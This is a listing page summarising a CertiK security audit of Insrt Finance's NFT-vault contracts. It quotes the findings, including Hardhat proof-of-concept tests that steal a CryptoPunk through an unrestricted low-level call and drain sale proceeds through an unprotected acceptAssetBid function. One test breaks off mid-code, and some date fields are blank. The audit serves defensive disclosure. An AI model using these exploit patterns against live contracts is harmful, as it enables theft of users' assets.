As of 3 Nov 2026, Insrt Finance has 1 audit report on Trustblock, by CertiK, dated 29 Dec 2022. That report lists no open critical findings.
Record last updated . It holds audits, findings and contracts up to Nov 2026, and incidents up to Oct 2026. Trustblock does not review code.
Newest first
| Audit | Security firm | Date | Scope | Critical findings | Report |
|---|---|---|---|---|---|
| Insrt Finance | Security firm: CertiK | Date: | Scope: Files named in the report | 3 critical findings, fixed | Open · skynet.certik.com |
Statuses are the security firm’s own, from each report.
| Severity | Open | Acknowledged | Fixed |
|---|---|---|---|
| Critical | 0 | 0 | 3 |
| High | 0 | 1 | 2 |
| Medium | 0 | 1 | 0 |
| Low | 0 | 5 | 13 |
In the contract `MarketPlaceHelper`, the external facing function `listAsset()` contains a low-level call, which allows users to call any contract on behalf of the `MarketPlaceHelper` contract. ```solidity function listAsset(EncodedCall[] memory calls) external { unchecked { for (uint256 i; i < calls.length; ++i) { (bool success, ) = calls[i].target.call{ value: calls[i].value }(calls[i].data); if (!success) { revert MarketPlaceHelper__FailedListCall(); } } } } ``` According to the project design, after calling the `listPunk()` function in the `ShardVaultAdmin` contract, the punk will be transferred to the `MarketPlaceHelper`. Thus, the attacker can trigger the `transferPunk(address,uint256)` function of the `CryptoPunksMarket` contract to transfer the punk to his own address. #### Proof of Concept After `listPunk()` function is called by the protocol owner, Punk NFTs will be transferred to contract `MarketPlaceHelper`. The attacker can call `listAsset` with spoofed calldata to transfer the punk to his own address. ```typescript describe('Steal NFT', () => { it('Attacker can steal NFT by low-level call in listAsset', async () => { await pethInstance.connect(owner).setMaxSupply(BigNumber.from('100')); await pethInstance .connect(depositor) .deposit({ value: ethers.utils.parseEther('100') }); await pethInstance .connect(owner) ['purchasePunk((bytes,uint256,address)[],uint256)']( punkPurchaseCallsPETH, punkId, ); const listPrice = ethers.utils.parseEther('100'); const listPunkCalls = []; const encodedOfferPunkForSale = cryptoPunkMarket.interface.encodeFunctionData( 'offerPunkForSale(uint256,uint256)', [punkId, listPrice], ); const encodedListCall = { data: encodedOfferPunkForSale, target: CRYPTO_PUNKS_MARKET, value: ethers.constants.Zero, }; listPunkCalls.push(encodedListCall); await pethInstance .connect(owner) ['listPunk((bytes,uint256,address)[],uint256)']( listPunkCalls, punkId, ); const listPunkCalls_attack = []; let nonOwner_addr = await nonOwner.getAddress(); const encodedOfferPunkForSale_attack = cryptoPunkMarket.interface.encodeFunctionData( 'transferPunk(address,uint256)', [nonOwner_addr, punkId], ); const encodedListCall_attack = { data: encodedOfferPunkForSale_attack, target: CRYPTO_PUNKS_MARKET, value: ethers.constants.Zero, }; listPunkCalls_attack.push(encodedListCall_attack); const MARKETPLACE_HELPER = await pethInstance['marketplaceHelper()'](); let marketplaceHelper = await ethers.getContractAt('MarketPlaceHelper', MARKETPLACE_HELPER); await marketplaceHelper .connect(nonOwner) ['listAsset((bytes,uint256,address)[])']( listPunkCalls_attack, ); }); ``` Result ```text ✓ Attacker can steal NFT by low-level call in listAsset ``` The invocation succeed, and the punk was transferred to the attacker's address.
Open the reportThere is no access control on the functions of the `MarketPlaceHelper` contract, which would incur potential risk since the low-level `call()` is used in its functions and ETH is sent to the caller. Per the logic of the protocol, it looks like only the `ShardVaultInternal` contract needs to call the `MarketPlaceHelper`. For example, the `acceptAssetBid()` function without any access control allows malicious users to accept any bid price by specifying the `minBidValue` for any punk the `MarketPlaceHelper` contract owned as well as collect all sale proceeds: ```solidity=66 function acceptAssetBid( bytes calldata data, address target, address collection, uint256 tokenId, uint256 minBidValue ) external payable { if (collection == CRYPTO_PUNK_MARKET) { ICryptoPunkMarket(CRYPTO_PUNK_MARKET).acceptBidForPunk( tokenId, minBidValue ); uint256 oldBalance = address(this).balance; ICryptoPunkMarket(CRYPTO_PUNK_MARKET).withdraw(); uint256 newBalance = address(this).balance; unchecked { payable(msg.sender).sendValue(newBalance - oldBalance); } } ... } ``` Furthermore, since `MarketPlaceHelper` receives NFTs when they are to be listed for sale, a malicious user can use the low level calls to transfer the NFTs to themselves. As a result, the protocol can incur loss caused by accepting any bid price in the no-access-control function `acceptAssetBid()` or having the funds from the sale be transferred to the malicious actor. ### Proof of Concept The following line is added to `MarketPlaceHelper.sol` so that it can receive ETH from the `CRYPTO_PUNK_MARKET`. ```solidity receive() external payable {} ``` The following test demonstrates that any user is able to take the proceeds of an NFT sale by performing the following: 1. A punk is purchased and then listed. 2. `nonOwner` makes a bid for the punk at the minimum bid of 100 ether 3. `nonOwner` then accepts their own bid for the punk 4. The `nonOwner`'s ETH balance is queried. ```typescript describe('Steal sale proceeds', () => { it('lists a punk, nonOwner makes a bid, nonOwner collects sale proceeds', async () => { await pethInstance.connect(owner).setMaxSupply(BigNumber.from('100')); await pethInstance .connect(depositor) .deposit({ value: ethers.utils.parseEther('100') }); await pethInstance .connect(owner) ['purchasePunk((bytes,uint256,address)[],uint256,bool)']( punkPurchaseCallsPETH, punkId, true, ); const listPrice = ethers.utils.parseEther('100'); const listPunkCalls = []; const encodedOfferPunkForSale = cryptoPunkMarket.interface.encodeFunctionData( 'offerPunkForSale(uint256,uint256)', [punkId, listPrice], ); const encodedListCall = { data: encodedOfferPunkForSale, target: CRYPTO_PUNKS_MARKET, value: ethers.constants.Zero, }; listPunkCalls.push(encodedListCall); await pethInstance .connect(owner) ['listPunk((bytes,uint256,address)[],uint256)']( listPunkCalls, punkId, ); await cryptoPunkMarket.connect(nonOwner) ['enterBidForPunk(uint256)']( punkId, { value: ethers.utils.parseEther('100') }, ); const MARKETPLACE_HELPER = await pethInstance['marketplaceHelper()'](); let marketplaceHelper = await ethers.getContractAt('MarketPlaceHelper', MARKETPLACE_HELPER); let balanceBefore = await nonOwner.getBalance(); await marketplaceHelper.connect(nonOwner) ['acceptAssetBid(bytes,address,address,uint256,uint256)']( [], CRYPTO_PUNKS_MARKET, CRYPTO_PUNKS_MARKET, punkId, listPrice, ); let balanceAfter = await nonOwner.getBalance(); console.log(balanceAfter.sub(balanceBefore)); }); }); ``` Test result: ```terminal BigNumber { value: "99999874348108360440" } ✓ lists a punk, nonOwner makes a bid, nonOwner collects sale proceeds ``` The test results show that `nonOwner` gained approximately 100 ETH.
Open the reportWhen a user deposits, the IDs of the shards minted to the user are increasing numbers that start at `totalSupply`. However, since `totalSupply` can be decreased when a user withdraws, the ID of a shard meant to be minted may already be in use, preventing the shard from minting. In `_deposit()`, the ID of a minted shard starts from `totalSupply`. ```solidity=159 for (uint256 i; i < shards; ++i) { _mint(msg.sender, totalSupply + i); } ``` In `_withdraw()`, a user can burn their shards, decreasing `totalSupply`, causing a possible conflict with future mints. ```solidity=184 for (uint256 i; i < shards; ++i) { uint256 shardId = shardIds[i]; _enforceShardOwnership(msg.sender, shardId); _burn(shardId); } ``` Hence, an attacker can prevent future users from depositing to a vault if they deposit and then withdraw. Since the attacker can acquire a full refund when they withdraw, this is a low cost denial-of-service attack. ### Proof of Concept The following test is provided to produce the above issue by performing the following: 1. A depositor deposits 10 ETH to receive 10 shards with IDs 0, ..., 9. - The total supply is currently 10. 2. The depositor then withdraws shards 0, ..., 4. - The total supply is now 5. 3. The depositor deposits 1 ETH to try and receive 1 shard, which will have ID 5. - This fails as the shard with ID 5 already exists, as shown in the output. ```typescript it('unable to mint after withdrawing', async () => { await instance.connect(owner)['setIsEnabled(bool)'](true); await instance .connect(depositor) ['deposit()']({ value: depositAmount }); const withdrawShards = 5; const shards = []; for (let i = 0; i < withdrawShards; i++) { shards.push(await instance.tokenOfOwnerByIndex(depositor.address, i)); } await instance.connect(depositor)['withdraw(uint256[])'](shards); const newDepositAmount = ethers.utils.parseEther('1'); await instance.connect(depositor)['deposit()']({ value: newDepositAmount}); }); ``` Output: ```terminal 1 failing 1) ShardVaultProxy ::ShardVaultProxy ::ShardVaultIO #withdraw(uint256[]) unable to mint after withdrawing: Error: cannot estimate gas; transaction may fail or may require manual gas limit [ See: https://links.ethers.org/v5-errors-UNPREDICTABLE_GAS_LIMIT ] (reason="VM Exception while processing transaction: reverted with custom error 'ERC721Base__TokenAlreadyMinted()'" ... ``` The output details that the transaction failed with the error `ERC721Base__TokenAlreadyMinted()`, meaning that the shard mint failed due to the shard already existing. This prevents all future mints as well as the function will try to always mint the same ID.
Open the reportIn the function `_collateralizePunkPETH()`, the punk's value in ETH is got and passed to the `_collateralizePunk()` function. ```solidity=318 uint256 value = INFTVault(jpegdVault).getNFTValueETH(punkId); pETH = _collateralizePunk( punkId, borrowAmount, insure, jpegdVault, value, PETH ); ``` Note that the return result of the `getNFTValueETH()` is in terms of ETH in the `INFTVault.sol` contract: ```solidity=116 /// @param _nftIndex The NFT to return the value of /// @return The value in ETH of the NFT at index `_nftIndex`, with 18 decimals. function getNFTValueETH(uint256 _nftIndex) external view returns (uint256); ``` In the function `_collateralizePunk()`, the punk's `creditLimit` is got and used to do the subtraction with `value`, which is the punk's value in ETH. ```solidity=330 function _collateralizePunk( uint256 punkId, uint256 borrowAmount, bool insure, address jpegdVault, uint256 value, address token ) private returns (uint256 amount) { ShardVaultStorage.Layout storage l = ShardVaultStorage.layout(); uint256 creditLimit = INFTVault(jpegdVault).getCreditLimit(punkId); uint256 targetLTV = creditLimit - (value * (l.ltvBufferBP + l.ltvDeviationBP)) / BASIS_POINTS; ... ``` However, the punk's `creditLimit` is in terms of PUSD instead of ETH per the description of the interface `getCreditLimit()` in the `INFTVault.sol` contract: ```solidity=66 /// @param _nftIndex The NFT to return the credit limit of /// @return The PUSD credit limit of the NFT at index `_nftIndex`. function getCreditLimit(uint256 _nftIndex) external view returns (uint256); ``` As a result, the wrong `targetLTV` will be calculated since the units of `creditLimit` and `value` are different. ## Proof of Concept Note: To better inspect the variables' value in the transaction, `console.log` is added inside the `_collateralizePunk()` function to output the variables' values. ```solidity function _collateralizePunk( uint256 punkId, uint256 borrowAmount, bool insure, address jpegdVault, uint256 value, address token ) private returns (uint256 amount) { ShardVaultStorage.Layout storage l = ShardVaultStorage.layout(); console.log("token", token); console.log("value", value); console.log("jpegdVault", jpegdVault); uint256 creditLimit = INFTVault(jpegdVault).getCreditLimit(punkId); console.log("creditLimit", creditLimit); uint256 targetLTV = creditLimit - (value * (l.ltvBufferBP + l.ltvDeviationBP)) / BASIS_POINTS; console.log("targetLTV", targetLTV); if (INFTVault(jpegdVault).positionOwner(punkId) != address(0)) { .... } ``` We have the following cases: Case 1: Use `pUSDInstance` with `jpegdVault` as the vault to run the `collateralizePunkPUSD()` function; Case 2: Use `pethInstance` with `pethJpegdVault` as the vault to run the `collateralizePunkPETH()` function. ```typescript //Case 1's test describe('#collateralizePunkPUSD(uint256,uint256,bool)', () => { it('borrows requested amount of pUSD', async () => { await pUSDInstance.connect(owner).setMaxSupply(BigNumber.from('100')); await pUSDInstance .connect(depositor) .deposit({ value: ethers.utils.parseEther('100') }); await pUSDInstance .connect(owner) ['purchasePunk((bytes,uint256,address)[],uint256,bool)']( punkPurchaseCallsPUSD, punkId, true, ); const requestedBorrow = ( await jpegdVault.callStatic['getNFTValueUSD(uint256)'](punkId) ) .mul(targetLTVBP) .div(BASIS_POINTS); const settings = await jpegdVault.callStatic['settings()'](); const actualBorrow = requestedBorrow.sub( requestedBorrow .mul(settings.organizationFeeRate.numerator) .div(settings.organizationFeeRate.denominator), ); await expect(() => pUSDInstance .connect(owner) ['collateralizePunkPUSD(uint256,uint256,bool)']( punkId, requestedBorrow, false, ), ).to.changeTokenBalance(pUSD, pUSDInstance, actualBorrow); }); }); ``` ```typescript //Case 2's test describe('#collateralizePunkPETH(uint256,uint256,bool)', () => { it('borrows requested amount of pETH', async () => { await pethInstance.connect(owner).setMaxSupply(BigNumber.from('100')); await pethInstance .connect(depositor) .deposit({ value: ethers.utils.parseEther('100') }); await pethInstance .connect(owner) ['purchasePunk((bytes,uint256,address)[],uint256,bo
Open the reportThe `MarketPlaceHelper` contract lacks a `receive() external payable` function which is necessary to receive ETH from `CRYPTO_PUNK_MARKET` when an NFT has sold. In the function `acceptAssetBid()`, the following call to `CRYPTO_PUNK_MARKET()` is made: ```solidity=80 ICryptoPunkMarket(CRYPTO_PUNK_MARKET).withdraw(); ``` This function withdraws sale proceeds and sends them to the function caller. ```solidity=190 function withdraw() { if (!allPunksAssigned) throw; uint amount = pendingWithdrawals[msg.sender]; // Remember to zero the pending refund before // sending to prevent re-entrancy attacks pendingWithdrawals[msg.sender] = 0; msg.sender.transfer(amount); } ``` Since `MarketPlaceHelper` will be the one receiving the ETH, it needs a `receive() payable` function or else the transaction will revert. ### Proof of Concept The following unit test shows that `acceptAssetBid()` will revert by performing the following: 1. A punk is purchased and then listed 2. `nonOwner` makes a bid for the punk 3. `nonOwner` attempts to accept their own bid 4. From the test output, transaction reverts as the `receive()` function does not exist ```typescript describe('Unable to Withdraw Sale Proceeds', () => { it('lists a punk, nonOwner makes a bid, nonOwner tries to collect sale proceeds', async () => { await pethInstance.connect(owner).setMaxSupply(BigNumber.from('100')); await pethInstance .connect(depositor) .deposit({ value: ethers.utils.parseEther('100') }); await pethInstance .connect(owner) ['purchasePunk((bytes,uint256,address)[],uint256,bool)']( punkPurchaseCallsPETH, punkId, true, ); const listPrice = ethers.utils.parseEther('100'); const listPunkCalls = []; const encodedOfferPunkForSale = cryptoPunkMarket.interface.encodeFunctionData( 'offerPunkForSale(uint256,uint256)', [punkId, listPrice], ); const encodedListCall = { data: encodedOfferPunkForSale, target: CRYPTO_PUNKS_MARKET, value: ethers.constants.Zero, }; listPunkCalls.push(encodedListCall); await pethInstance .connect(owner) ['listPunk((bytes,uint256,address)[],uint256)']( listPunkCalls, punkId, ); await cryptoPunkMarket.connect(nonOwner) ['enterBidForPunk(uint256)']( punkId, { value: ethers.utils.parseEther('100') }, ); const MARKETPLACE_HELPER = await pethInstance['marketplaceHelper()'](); let marketplaceHelper = await ethers.getContractAt('MarketPlaceHelper', MARKETPLACE_HELPER); let balanceBefore = await nonOwner.getBalance(); await marketplaceHelper.connect(nonOwner) ['acceptAssetBid(bytes,address,address,uint256,uint256)']( [], CRYPTO_PUNKS_MARKET, CRYPTO_PUNKS_MARKET, punkId, listPrice, ); let balanceAfter = await nonOwner.getBalance(); console.log(balanceAfter.sub(balanceBefore)); }); }); ``` Test output: ```terminal lists a punk, nonOwner makes a bid, nonOwner tries to collect sale proceeds: Error: Transaction reverted: function selector was not recognized and there's no fallback nor receive function at MarketPlaceHelper.<unrecognized-selector> (contracts/helpers/MarketPlaceHelper.sol:12) at <UnrecognizedContract>.<unknown> (0xb47e3cd837ddf8e4c57f05d70ab865de6e193bbb) at MarketPlaceHelper.acceptAssetBid (contracts/helpers/MarketPlaceHelper.sol:80) at async HardhatNode._mineBlockWithPendingTxs (node_modules/hardhat/src/internal/hardhat-network/provider/node.ts:1802:23) at async HardhatNode.mineBlock (node_modules/hardhat/src/internal/hardhat-network/provider/node.ts:491:16) at async EthModule._sendTransactionAndReturnHash (node_modules/hardhat/src/internal/hardhat-network/provider/modules/eth.ts:1522:18) at async HardhatNetworkProvider.request (node_modules/hardhat/src/internal/hardhat-network/provider/provider.ts:118:18) at async EthersProviderWrapper.send (node_modules/@nomiclabs/hardhat-ethers/src/internal/ethers-provider-wrapper.ts:13:20) ``` The test output shows that `MarketPlaceHelper.acceptAssetBid()` is called and calls `CRYPTO_PUNK_MARKET.withdraw()`, which then calls `MarketPlaceHelper` again. However, `MarketPlaceHelper` does not have a `receive()` function so the transaction reverts.
Open the reportWhen the whitelist period is still ongoing, the unused function `_remainingShardReservations()` returns the value `l.maxSupply - l.totalSupply` instead of `l.reservedShards - l.totalSupply`. ```solidity=1095 function _remainingShardReservations() internal view returns (uint256 shards) { ShardVaultStorage.Layout storage l = ShardVaultStorage.layout(); if (block.timestamp < l.whitelistEndsAt) { shards = l.maxSupply - l.totalSupply; } } ```
Open the reportIt is possible for the `maxSupply` variable to be under the total supply, creating a possible underflow revert when users deposit. The function `_setMaxSupply()` and when initializing the max supply currently lacks any checks. ```solidity=827 function _setMaxSupply(uint16 maxSupply) internal { ShardVaultStorage.layout().maxSupply = maxSupply; } ``` If it is the case that `maxSupply < totalSupply`, then the `_deposit()` function will revert due to an underflow error. ```solidity=127 shards = maxSupply - totalSupply; ```
Open the reportIt is possible for the total supply to exceed the max supply if the number of reserved shards exceeds the max supply. When users deposit and the current time is before `whitelistEndsAt`, then the `maxSupply` variable is taken to be `reservedShards`. ```solidity=93 uint16 maxSupply = l.maxSupply; uint16 balance = l.shardBalances[msg.sender]; uint16 maxUserShards = l.maxUserShards; if (balance == maxUserShards) { revert ShardVault__MaxUserShards(); } if (block.timestamp < l.whitelistEndsAt) { _enforceWhitelist(msg.sender); maxSupply = l.reservedShards; } ``` This means that if `l.reservedShards > l.maxSupply`, it is possible for `totalSupply > l.maxSupply` after minting reserved shards.
Open the reportAny logic contract that acts as a base contract that needs to be inherited by other upgradeable children should have a reasonable size of storage gap preserved for the new state variable introduced by the future upgrades. However, the `MarketPlaceHelperProxy` is a transparent proxy, but there is no storage gap preserved in the logic contract.
Open the reportThere should always be events emitted in the sensitive functions that are controlled by centralization roles.
Open the reportThe `_closePunkPosition()` function tries to liquidate all staked tokens in order to pay back the loan (taking isPUSD is true as the example): ```solidity=632 function _closePunkPosition( uint256 punkId, uint256 minTokenAmount, uint256 poolInfoIndex, bool isPUSD ) internal { ... _unstakePUSD( ILPFarming(LP_FARM) .userInfo(poolInfoIndex, address(this)) .amount, minTokenAmount, poolInfoIndex ); IERC20(PUSD).approve(jpegdVault, debt); ... } ``` There is no comparison between the number of unstaked tokens by calling the `_unstakePUSD()` function and the `debt`. If the unstaked tokens are greater than the `debt`, how does the strategic plan deal with extra PUSD or PETH?
Open the reportThe `_purchasePunk()` function will distribute redundant ETH back to users in the final purchase of punk: ```solidity= if (isFinalPurchase) { l.cumulativeEPS += (address(this).balance - l.accruedFees) / _totalSupply(); } ``` However, what if the `isFinalPurchase` is wrongly set to true by mistake when calling the `_purchasePunk()` function? For example: - In the second last call, if the `isFinalPurchase` is wrongly set to be true, the `cumulativeEPS` would be greater than expected since the `address(this).balance` at this moment contains ETH meant to purchase the last punk. - Both in the second last call and the last call, if `isFinalPurchase` is wrongly set to be true, then the `cumulativeEPS` would be greater than expected since it increased in the last second call too. Furthermore, there is no enforcement to deny purchase attempts made after the final purchase.
Open the reportThe same slot `STORAGE_SLOT = keccak256('insrt.contracts.storage.ShardVault');` is used in the two contracts `ShardCollectionStorage` and `ShardVaultStorage`. Same slot used in the different contracts may incur future slots conflict.
Open the reportThe payable function `withdraw()` is designed to withdraw native tokens, however, the `payable` modifier should be applied to a function that **receives** the native token. Thus, there is no need to add the `payable` modifier to the `withdraw()` function.
Open the reportThe function `_collateralizePunk()` is used to borrow tokens(pUSD or pETH) in exchange for collateralizing a punk. The owner calls the functions `collateralizePunkPUSD()/_collateralizePunkPETH()` with the token to be borrowed to call the internal function `_collateralizePunk()`. The return value `amount` in `_collateralizePunk()` is corresponding to the return value `pUSD` in `collateralizePunkPUSD()` and `pETH` in `_collateralizePunkPETH()`. According to the comments, the functions `collateralizePunkPUSD()/_collateralizePunkPETH()` return the borrowed pUSD and pETH. ```solidity /** ... * @return pUSD borrowed pUSD * @dev insuring is explained here: https://github.com/jpegd/core/blob/7581b11fc680ab7004ea869226ba21be01fc0a51/contracts/vaults/NFTVault.sol#L563 */ function collateralizePunkPUSD( ... /** ... * @return pETH borrowed pETH * @dev insuring is explained here: https://github.com/jpegd/core/blob/7581b11fc680ab7004ea869226ba21be01fc0a51/contracts/vaults/NFTVault.sol#L563 */ function collateralizePunkPETH( ... ``` However, in the function `_collateralizePunk()`, the return value used the balance of the borrowed token of the contract after the borrow. ```solidity function _collateralizePunk( uint256 punkId, uint256 borrowAmount, bool insure, address jpegdVault, uint256 value, address token ) private returns (uint256 amount) { ... amount = IERC20(token).balanceOf(address(this)); } ``` Calculating the difference between the balance before and after the borrowing will more accurately reflect the borrowed amount. We would like to confirm with the client if the return value should be the balance of the contract instead of the borrowed amount. Note that malicious users can also transfer the corresponding tokens to the contract and affect the contract's balance of the token, which may result in unexpected results for the caller since the returning amount of the `_collateralizePunk()` function mismatches the actual borrow amount.
Open the reportThe Vault can sell an NFT and does so by using the `_listPunk()`, which transfers the NFT to the `MARKETPLACE_HELPER` to list the asset for sale. ```solidity=668 function _listPunk( IMarketPlaceHelper.EncodedCall[] memory calls, uint256 punkId ) internal { ICryptoPunkMarket(PUNKS).transferPunk(MARKETPLACE_HELPER, punkId); IMarketPlaceHelper(MARKETPLACE_HELPER).listAsset(calls); } ``` The `CryptoPunkMarket` contract will then list `MARKETPLACE_HELPER` as the `sellor` of the NFT: ```solidity=144 function offerPunkForSale(uint punkIndex, uint minSalePriceInWei) { if (!allPunksAssigned) throw; if (punkIndexToAddress[punkIndex] != msg.sender) throw; if (punkIndex >= 10000) throw; punksOfferedForSale[punkIndex] = Offer(true, punkIndex, msg.sender, minSalePriceInWei, 0x0); PunkOffered(punkIndex, minSalePriceInWei, 0x0); } ``` If the NFT is sold, `CryptoPunkMarket.withdraw()` can be used to obtain funds acquired from the sale. ```solidity=190 function withdraw() { if (!allPunksAssigned) throw; uint amount = pendingWithdrawals[msg.sender]; // Remember to zero the pending refund before // sending to prevent re-entrancy attacks pendingWithdrawals[msg.sender] = 0; msg.sender.transfer(amount); } ``` This means that `msg.sender` in `withdraw()` should be `MARKETPLACE_HELPER`, but currently, `ShardVaultInternal` calls `withdraw()`, so nothing will be withdrawn.
Open the reportThe function `_claimYield()` is used by the user to claim the yield in the form of ETH and JPEG tokens. According to the following codes, the amount of the percentage `yieldFeeBP/BASIS_POINTS` will be charged as fee and remains in the contrat. ```solidity=945 uint256 ETHfee = (totalETH * l.yieldFeeBP) / BASIS_POINTS; l.accruedFees += ETHfee; uint256 jpegFee = (totalJPEG * l.yieldFeeBP) / BASIS_POINTS; l.accruedJPEG += jpegFee; //transfer yield IERC20(JPEG).transfer(account, totalJPEG - jpegFee); payable(account).sendValue(totalETH - ETHfee); ``` However, there are no functions to claim these fees by the owner. As a result, these fees will be locked in the contract.
Open the reportWhen depositing, a `uint256` value is converted to a `uint16` value. ```solidity=106 uint16 shards = uint16(amount / shardValue); ``` Depending on the value of `shardValue`, it is possible for users to send ETH and receive less shards than expected if `amount / shardValue` truncates.
Open the reportThe reports name a repository or files. Open a report to see its scope.
Is this your project? Show this record on your own website. The label states what the record holds, links to this page and updates by itself. It is free and needs no sign-in.
Automatic: the three strongest facts of this project’s own record (its last audit and two more), highlighted. They update with the record. Picking a fact turns Automatic off.
<head><script src="https://widget.trustblock.run/project-widget.min.js" defer></script></head><body><divdata-tb-project-widgetdata-tb-project-slug="insrt-finance"></div></body>
Paste the code where the label should appear. It uses no API credit and updates by itself.
Something wrong on this page? A missing report, a wrong date, a finding that was fixed since. Tell us and we check it against its source.
Tell us